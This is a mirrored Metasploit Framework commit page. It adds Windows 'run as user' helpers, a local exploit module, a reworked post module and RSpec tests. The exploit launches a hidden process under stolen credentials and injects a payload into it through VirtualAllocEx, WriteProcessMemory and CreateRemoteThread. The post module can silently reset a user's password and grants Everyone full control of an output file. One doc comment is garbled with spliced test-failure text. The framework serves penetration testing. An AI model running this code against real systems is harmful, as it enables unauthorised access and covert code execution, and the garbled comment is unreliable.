mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #4649, improve post/windows/manage/run_as and as an exploit
This commit is contained in:
commit
9cfafdd8b8
@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
ERROR = Msf::Post::Windows::Error
|
||||
MAX_PATH = 260
|
||||
STARTF_USESHOWWINDOW = 0x00000001
|
||||
SW_HIDE = 0
|
||||
|
||||
def shell_execute_exe(filename = nil, path = nil)
|
||||
exe_payload = generate_payload_exe
|
||||
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
|
||||
select(nil, nil, nil, 1) until session_created?
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create a STARTUP_INFO struct for use with CreateProcessA
|
||||
#
|
||||
# This struct will cause the process to be hidden
|
||||
#
|
||||
# @return [String] STARTUP_INFO struct
|
||||
#
|
||||
def startup_info
|
||||
[0, # cb
|
||||
0, # lpReserved
|
||||
0, # lpDesktop
|
||||
0, # lpTitle
|
||||
0, # dwX
|
||||
0, # dwY
|
||||
0, # dwXSize
|
||||
0, # dwYSize
|
||||
0, # dwXCountChars
|
||||
0, # dwYCountChars
|
||||
0, # dwFillAttribute
|
||||
STARTF_USESHOWWINDOW, # dwFlags
|
||||
SW_HIDE, # wShowWindow
|
||||
0, # cbReserved2
|
||||
0, # lpReserved2
|
||||
0, # hStdInput
|
||||
0, # hStdOutput
|
||||
0 # hStdError
|
||||
].pack('VVVVVVVVVVVVvvVVVV')
|
||||
end
|
||||
|
||||
#
|
||||
# Call CreateProcessWithLogonW to start a process with the supplier
|
||||
# user credentials
|
||||
#
|
||||
# @note The caller should clear up the handles returned in
|
||||
# the PROCESS_INFORMATION @return hash.
|
||||
#
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] The executable to be run, can be
|
||||
# nil
|
||||
# @param command_line [String] The command line or process arguments
|
||||
#
|
||||
# @return [Hash, nil] The values from the process_information struct
|
||||
#
|
||||
def create_process_with_logon(domain, user, password, application_name, command_line)
|
||||
return unless check_user_format(user, domain)
|
||||
return unless check_command_length(application_name, command_line, 1024)
|
||||
|
||||
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
|
||||
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
|
||||
domain,
|
||||
password,
|
||||
'LOGON_WITH_PROFILE',
|
||||
application_name,
|
||||
command_line,
|
||||
'CREATE_UNICODE_ENVIRONMENT',
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
if create_process['return']
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
else
|
||||
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
|
||||
end
|
||||
|
||||
pi
|
||||
end
|
||||
|
||||
#
|
||||
# Call CreateProcessAsUser to start a process with the supplier
|
||||
# user credentials
|
||||
#
|
||||
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
|
||||
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
|
||||
#
|
||||
# This will normally error with 0xc000142 on later OS's (Vista+?) for
|
||||
# gui apps but is ok for firing off cmd.exe...
|
||||
#
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] Thn executableived :CloseHandle
|
||||
# with unexpected arguments
|
||||
# expected: ("testPhToken")
|
||||
# got: (n be run, can be
|
||||
# nil
|
||||
# @param command_line [String] The command line or process arguments
|
||||
#
|
||||
# @return [Hash, nil] The values from the process_information struct
|
||||
#
|
||||
def create_process_as_user(domain, user, password, application_name, command_line)
|
||||
return unless check_user_format(user, domain)
|
||||
return unless check_command_length(application_name, command_line, 32000)
|
||||
|
||||
vprint_status("Executing LogonUserA...")
|
||||
logon_user = session.railgun.advapi32.LogonUserA(user,
|
||||
domain,
|
||||
password,
|
||||
'LOGON32_LOGON_INTERACTIVE',
|
||||
'LOGON32_PROVIDER_DEFAULT',
|
||||
4)
|
||||
|
||||
if logon_user['return']
|
||||
begin
|
||||
ph_token = logon_user['phToken']
|
||||
vprint_status("Executing CreateProcessAsUserA...")
|
||||
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
|
||||
application_name,
|
||||
command_line,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
'CREATE_NEW_CONSOLE',
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
|
||||
if create_process['return']
|
||||
begin
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
else
|
||||
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||
end
|
||||
|
||||
return pi
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(ph_token)
|
||||
end
|
||||
else
|
||||
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Parse the PROCESS_INFORMATION struct
|
||||
#
|
||||
# @param process_information [String] The PROCESS_INFORMATION value
|
||||
# from the CreateProcess call
|
||||
#
|
||||
# @return [Hash] The values from the process_information struct
|
||||
#
|
||||
def parse_process_information(process_information)
|
||||
fail ArgumentError, 'process_information is nil' if process_information.nil?
|
||||
fail ArgumentError, 'process_information is empty string' if process_information.empty?
|
||||
|
||||
pi = process_information.unpack('VVVV')
|
||||
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the username and domain is in the correct format
|
||||
# for the CreateProcess_x WinAPI calls.
|
||||
#
|
||||
# @param username [String] The target user
|
||||
# @param domain [String] The target user domain
|
||||
#
|
||||
# @raise [ArgumentError] If the username format is incorrect
|
||||
#
|
||||
# @return [True] True if username is in the correct format
|
||||
#
|
||||
def check_user_format(username, domain)
|
||||
fail ArgumentError, 'username is nil' if username.nil?
|
||||
|
||||
if domain && username.include?('@')
|
||||
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the command_length parameter is the correct length
|
||||
# for the CreateProcess_x WinAPI calls depending on the presence
|
||||
# of application_name
|
||||
#
|
||||
# @param application_name [String] lpApplicationName
|
||||
# @param command_line [String] lpCommandLine
|
||||
# @param max_length [Integer] The max command length of the respective
|
||||
# CreateProcess function
|
||||
#
|
||||
# @raise [ArgumentError] If the command_line is too large
|
||||
#
|
||||
# @return [True] True if the command_line is within the correct bounds
|
||||
#
|
||||
def check_command_length(application_name, command_line, max_length)
|
||||
fail ArgumentError, 'max_length is nil' if max_length.nil?
|
||||
|
||||
if application_name.nil? && command_line.nil?
|
||||
raise ArgumentError, 'Both application_name and command_line are nil'
|
||||
elsif command_line && command_line.length > max_length
|
||||
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
|
||||
elsif application_name.nil? && command_line
|
||||
cl = command_line.split(' ')
|
||||
if cl[0] && cl[0].length > MAX_PATH
|
||||
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
126
modules/exploits/windows/local/run_as.rb
Normal file
126
modules/exploits/windows/local/run_as.rb
Normal file
@ -0,0 +1,126 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Msf::Post::Windows::Runas
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Run Command As User",
|
||||
'Description' => %q{
|
||||
This module will login with the specified username/password and execute the
|
||||
supplied command as a hidden process. Output is not returned by default.
|
||||
Unless targetting a local user either set the DOMAIN, or specify a UPN user
|
||||
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
|
||||
|
||||
A custom command line can be sent instead of uploading an executable.
|
||||
APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
|
||||
respectively. See the MSDN documentation for how these two values interact.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['Kx499', 'Ben Campbell'],
|
||||
'Targets' => [
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
|
||||
OptString.new('USER', [true, 'Username to login with' ]),
|
||||
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
||||
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
|
||||
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
|
||||
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
|
||||
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
|
||||
domain = datastore['DOMAIN']
|
||||
user = datastore['USER']
|
||||
password = datastore['PASSWORD']
|
||||
|
||||
if datastore['USE_CUSTOM_COMMAND']
|
||||
application_name = datastore['APPLICATION_NAME']
|
||||
command_line = datastore['COMMAND_LINE']
|
||||
else
|
||||
command_line = nil
|
||||
windir = get_env('windir')
|
||||
|
||||
# Select path of executable to run depending the architecture
|
||||
case sysinfo['Architecture']
|
||||
when /x86/i
|
||||
application_name = "#{windir}\\System32\\notepad.exe"
|
||||
when /x64/i
|
||||
application_name = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
end
|
||||
end
|
||||
|
||||
pi = create_process_with_logon(domain,
|
||||
user,
|
||||
password,
|
||||
application_name,
|
||||
command_line)
|
||||
|
||||
return unless pi
|
||||
|
||||
begin
|
||||
return if datastore['USE_CUSTOM_COMMAND']
|
||||
|
||||
vprint_status('Injecting payload into target process')
|
||||
raw = payload.encoded
|
||||
|
||||
process_handle = pi[:process_handle]
|
||||
|
||||
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
|
||||
nil,
|
||||
raw.length,
|
||||
'MEM_COMMIT|MEM_RESERVE',
|
||||
'PAGE_EXECUTE_READWRITE')
|
||||
|
||||
address = virtual_alloc['return']
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
|
||||
|
||||
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
|
||||
address,
|
||||
raw,
|
||||
raw.length,
|
||||
4)
|
||||
|
||||
fail_with(Exploit::Failure::Unknown,
|
||||
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
|
||||
|
||||
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
|
||||
nil,
|
||||
0,
|
||||
address,
|
||||
nil,
|
||||
0,
|
||||
4)
|
||||
if create_remote_thread['return'] == 0
|
||||
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
|
||||
else
|
||||
print_good("Started thread in target process")
|
||||
end
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
end
|
||||
end
|
@ -9,17 +9,18 @@ require 'rex'
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Run Command As User",
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module will login with the specified username/password and execute the
|
||||
supplied command as a hidden process. Output is not returned by default, by setting
|
||||
CMDOUT to false output will be redirected to a temp file and read back in to
|
||||
display.By setting advanced option SETPASS to true, it will reset the users
|
||||
password and then execute the command.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [true, 'Username to reset/login with' ]),
|
||||
OptString.new('PASS', [true, 'Password to use' ]),
|
||||
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
|
||||
OptString.new('USER', [true, 'Username to login with' ]),
|
||||
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
||||
OptString.new('CMD', [true, 'Command to execute' ]),
|
||||
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
|
||||
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SETPASS', [false, 'Reset password', false])
|
||||
OptBool.new('SETPASS', [true, 'Reset password', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
|
||||
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
||||
# need to migrate to a process that is running as
|
||||
# system. If you don't have privs, this exits script.
|
||||
|
||||
def priv_check
|
||||
if is_system?
|
||||
privs = session.sys.config.getprivs
|
||||
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
|
||||
@isadmin = false
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
elsif is_admin?
|
||||
@isadmin = true
|
||||
return true
|
||||
else
|
||||
return false
|
||||
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def reset_pass(user,pass)
|
||||
def reset_pass(user, password)
|
||||
begin
|
||||
tmpout = ""
|
||||
cmd = "cmd.exe /c net user " + user + " " + pass
|
||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
tmpout << d
|
||||
break if d == ""
|
||||
end
|
||||
r.channel.close
|
||||
return true if tmpout.include?("successfully")
|
||||
return false
|
||||
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
|
||||
return tmpout.include?("successfully")
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# set some instance vars
|
||||
@IsAdmin = false
|
||||
@host_info = session.sys.config.sysinfo
|
||||
def touch(path)
|
||||
write_file(path, "")
|
||||
cmd_exec("icacls #{path} /grant Everyone:(F)")
|
||||
end
|
||||
|
||||
def run
|
||||
# Make sure we meet the requirements before running the script, note no need to return
|
||||
# unless error
|
||||
return 0 if session.type != "meterpreter"
|
||||
return unless session.type == "meterpreter"
|
||||
|
||||
pi = nil
|
||||
# check/set vars
|
||||
setpass = datastore["SETPASS"]
|
||||
cmdout = datastore["CMDOUT"]
|
||||
user = datastore["USER"] || nil
|
||||
pass = datastore["PASS"] || nil
|
||||
password = datastore["PASSWORD"] || nil
|
||||
cmd = datastore["CMD"] || nil
|
||||
rg_adv = session.railgun.advapi32
|
||||
domain = datastore['DOMAIN']
|
||||
|
||||
# reset user pass if setpass is true
|
||||
if datastore["SETPASS"]
|
||||
if setpass
|
||||
print_status("Setting user password")
|
||||
if !reset_pass(user,pass)
|
||||
print_error("Error resetting password")
|
||||
return 0
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
|
||||
end
|
||||
|
||||
# set profile paths
|
||||
sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
|
||||
os = @host_info['OS']
|
||||
profiles_path = sysdrive + "\\Documents and Settings\\"
|
||||
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
|
||||
path = profiles_path + user + "\\"
|
||||
outpath = path + "out.txt"
|
||||
system_temp = get_env('WINDIR') << '\\Temp'
|
||||
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
|
||||
|
||||
# this is start info struct for a hidden process last two params are std out and in.
|
||||
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
|
||||
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
|
||||
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
|
||||
# Create output file and set permissions so everyone can access
|
||||
touch(outpath)
|
||||
|
||||
#set command string based on cmdout vars
|
||||
cmdstr = "cmd.exe /c #{cmd}"
|
||||
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
||||
# Check privs and execute the correct commands
|
||||
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
|
||||
# execute command and get output with a poor mans pipe
|
||||
|
||||
# Check privs and execute the correct commands
|
||||
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
|
||||
# execute command and get output with a poor mans pipe
|
||||
if priv_check
|
||||
if @isadmin #local admin
|
||||
print_status("Executing CreateProcessWithLogonW...we are Admin")
|
||||
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
|
||||
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
|
||||
else #system with correct token privs enabled
|
||||
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
||||
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
|
||||
"LOGON32_PROVIDER_DEFAULT", 4)
|
||||
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
|
||||
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
|
||||
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
||||
pi = create_process_as_user(domain, user, password, nil, cmdstr)
|
||||
if pi
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
else
|
||||
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
|
||||
print_error("privs to system and do not have sufficient privileges. If you elevated to")
|
||||
print_error("system, migrate to a process that was started as system (srvhost.exe)")
|
||||
return 0
|
||||
print_status("Executing CreateProcessWithLogonW...")
|
||||
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
|
||||
end
|
||||
|
||||
# Only process file if the process creation was successful, delete when done, give us info
|
||||
# about process
|
||||
if cs["return"]
|
||||
tmpout = ""
|
||||
if cmdout
|
||||
outfile = session.fs.file.new(outpath, "rb")
|
||||
until outfile.eof?
|
||||
tmpout << outfile.read
|
||||
end
|
||||
outfile.close
|
||||
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
|
||||
c.close
|
||||
end
|
||||
if pi
|
||||
tmpout = read_file(outpath) if cmdout
|
||||
|
||||
pi = cs["lpProcessInformation"].unpack("LLLL")
|
||||
print_status("Command Run: #{cmdstr}")
|
||||
print_status("Process Handle: #{pi[0]}")
|
||||
print_status("Thread Handle: #{pi[1]}")
|
||||
print_status("Process Id: #{pi[2]}")
|
||||
print_status("Thread Id: #{pi[3]}")
|
||||
print_line(tmpout)
|
||||
else
|
||||
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
|
||||
return 0
|
||||
vprint_status("Process Handle: #{pi[:process_handle]}")
|
||||
vprint_status("Thread Handle: #{pi[:thread_handle]}")
|
||||
vprint_status("Process Id: #{pi[:process_id]}")
|
||||
vprint_status("Thread Id: #{pi[:thread_id]}")
|
||||
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
207
spec/lib/msf/core/post/windows/runas_spec.rb
Normal file
207
spec/lib/msf/core/post/windows/runas_spec.rb
Normal file
@ -0,0 +1,207 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/post/windows/runas'
|
||||
|
||||
describe Msf::Post::Windows::Runas do
|
||||
let(:process_info) do
|
||||
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:phToken) do
|
||||
"testPhToken"
|
||||
end
|
||||
|
||||
let(:advapi32) do
|
||||
advapi32 = double('advapi32')
|
||||
advapi32.stub(:CreateProcessWithLogonW).and_return({
|
||||
'return' => true,
|
||||
'lpProcessInformation' => process_info
|
||||
})
|
||||
advapi32.stub(:CreateProcessAsUserA).and_return ({
|
||||
'return' => true,
|
||||
'lpProcessInformation' => process_info
|
||||
})
|
||||
advapi32.stub(:LogonUserA).and_return ({
|
||||
'return' => true,
|
||||
'phToken' => phToken
|
||||
})
|
||||
advapi32
|
||||
end
|
||||
|
||||
let(:kernel32) do
|
||||
double('kernel32', CloseHandle: nil)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
|
||||
stubs.each { |meth| mod.stub(meth) }
|
||||
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
|
||||
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
|
||||
mod
|
||||
end
|
||||
|
||||
context "#create_process_with_logon" do
|
||||
it "should return a process_info hash" do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||
expect(kernel32).not_to receive(:CloseHandle)
|
||||
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
pi.should be_kind_of(Hash)
|
||||
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
|
||||
it "should return a nil on failure" do
|
||||
expect(advapi32).to receive(:CreateProcessWithLogonW)
|
||||
expect(kernel32).not_to receive(:CloseHandle)
|
||||
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||
end
|
||||
end
|
||||
|
||||
context "#create_process_as_user" do
|
||||
it "should return a process_info hash" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||
expect(kernel32).to receive(:CloseHandle).with(phToken)
|
||||
expect(kernel32).to receive(:CloseHandle).with(1)
|
||||
expect(kernel32).to receive(:CloseHandle).with(2)
|
||||
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
|
||||
pi.should be_kind_of(Hash)
|
||||
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
|
||||
it "should return a nil on failure of create process" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).to receive(:CreateProcessAsUserA)
|
||||
expect(kernel32).to receive(:CloseHandle).with(phToken)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(1)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(2)
|
||||
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||
end
|
||||
|
||||
it "should return a nil on failure of logon user" do
|
||||
expect(advapi32).to receive(:LogonUserA)
|
||||
expect(advapi32).not_to receive(:CreateProcessAsUserA)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(1)
|
||||
expect(kernel32).not_to receive(:CloseHandle).with(2)
|
||||
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
|
||||
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
|
||||
end
|
||||
end
|
||||
|
||||
context "#startup_info" do
|
||||
it "should be 68 bytes" do
|
||||
subject.startup_info.size.should eq(68)
|
||||
end
|
||||
|
||||
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
|
||||
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
|
||||
si[11].should eq(1)
|
||||
si[12].should eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
context "#parse_process_information" do
|
||||
it "should return a hash when given valid data" do
|
||||
pi = subject.parse_process_information(process_info)
|
||||
pi.should be_kind_of(Hash)
|
||||
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
|
||||
end
|
||||
|
||||
it "should return an exception when given an empty string" do
|
||||
expect { subject.parse_process_information("") }.to raise_error
|
||||
end
|
||||
|
||||
it "should return an exception when given an nil value" do
|
||||
expect { subject.parse_process_information(nil) }.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
context "#check_user_format" do
|
||||
let(:upn_username) do
|
||||
"bob@flob.com"
|
||||
end
|
||||
let(:domain_username) do
|
||||
"flob\\bob"
|
||||
end
|
||||
let(:domain) do
|
||||
"flob"
|
||||
end
|
||||
|
||||
it "should return an exception when username is nil" do
|
||||
expect { subject.check_user_format(nil, domain) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return an exception when UPN format and domain supplied" do
|
||||
expect { subject.check_user_format(upn_username, domain) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return true when UPN format and domain is nil" do
|
||||
subject.check_user_format(upn_username, nil).should be true
|
||||
end
|
||||
|
||||
it "should return true when domain format and domain is nil" do
|
||||
subject.check_user_format(domain_username, nil).should be true
|
||||
end
|
||||
|
||||
it "should return true when domain format and domain supplied" do
|
||||
subject.check_user_format(domain_username, domain).should be true
|
||||
end
|
||||
end
|
||||
|
||||
context "#check_command_length" do
|
||||
let(:max_length) do
|
||||
1024
|
||||
end
|
||||
let(:max_path) do
|
||||
256
|
||||
end
|
||||
let(:large_command_module) do
|
||||
("A" * max_path + 1) + " arg1 arg2"
|
||||
end
|
||||
let(:normal_command_module) do
|
||||
("A" * max_path) + " arg1 arg2"
|
||||
end
|
||||
let(:large_command_line) do
|
||||
"A" * max_length + 1
|
||||
end
|
||||
let(:normal_command_line) do
|
||||
"A" * max_length
|
||||
end
|
||||
let(:application_name) do
|
||||
"c:\\windows\\system32\\calc.exe"
|
||||
end
|
||||
|
||||
it "should raise an exception when max_length is nil" do
|
||||
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
|
||||
end
|
||||
|
||||
it "should raise an exception when application_name and command_line are nil" do
|
||||
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return true when application_name is set and command_line is nil" do
|
||||
subject.check_command_length(application_name, nil, max_length).should be true
|
||||
end
|
||||
|
||||
it "should return true when application_name is set and command_line is max_length" do
|
||||
subject.check_command_length(application_name, normal_command_line, max_length).should be true
|
||||
end
|
||||
|
||||
it "should raise an exception when command_line is larger than max_length" do
|
||||
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
|
||||
end
|
||||
|
||||
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
|
||||
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
|
||||
end
|
||||
|
||||
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
|
||||
subject.check_command_length(nil, normal_command_module, max_length).should be true
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user